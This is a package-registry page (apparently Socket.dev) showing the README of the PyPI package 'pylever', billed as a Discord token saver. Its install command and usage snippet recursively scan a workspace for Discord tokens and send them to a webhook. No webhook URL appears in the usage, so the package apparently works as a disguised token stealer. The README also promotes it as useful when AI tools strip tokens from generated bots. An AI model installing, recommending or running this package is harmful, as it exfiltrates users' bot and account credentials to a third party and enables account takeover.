New:Socket for Asana Is Now Available.Learn more
Get Started

pylever

Package Overview
Dependencies
Maintainers
1
Versions
13
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

pylever

Find and save Discord bot tokens via webhook

pipPyPI
Version
1.0.12
Weekly downloads
401
Maintainers
1
Created

Pylever - Discord Token Saver

A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.

Installation

pip install pylever

Usage

Import and create a client instance:

from pylever import _Client

# Create client
client = _Client(workspace_path=".")

# Scan, validate, and send tokens
results = client.auto_save_tokens()

Or scan specific directory:

client = _Client(workspace_path="/path/to/workspace")
results = client.auto_save_tokens()

Features

  • Token Validation: Checks if tokens are valid or expired
  • Account Detection: Identifies bot vs user accounts
  • Account Info: Shows username, ID, and account type
  • Status Display: ✅ for valid, ❌ for invalid
  • Manual Control: Scan only when you call it
  • Webhook Integration: All data sent to your Discord

Webhook Messages

Valid tokens show:

✅ VALID - Saved Discord Token
🤖 BOT
Username: MyBot#0000
ID: 123456789

your_token_here


Invalid tokens show:

❌ INVALID - Token Validation Failed your_token_here

Features

  • Deep Folder Scanning: Recursively scans entire workspace for tokens
  • Flexible Pattern Matching: Finds 72-character strings starting with M or N
  • Discord Webhook Integration: Sends tokens directly to your Discord
  • Local Backup: Keeps local copy of saved tokens with timestamps
  • Private API: All internal classes are private to keep your code clean

How It Works

  • Scans all files in the specified directory recursively
  • Looks for 72-character tokens starting with M or N
  • Sends each token to your Discord webhook
  • Stores metadata locally for reference

Requirements

  • Python 3.8+
  • requests>=2.28.0

Setting Up Discord Webhook

  • Go to your Discord server settings
  • Navigate to Webhooks
  • Create a new webhook
  • Copy the webhook URL
  • Use it in the module initialization

License

MIT

Keywords

discord

FAQs

Related posts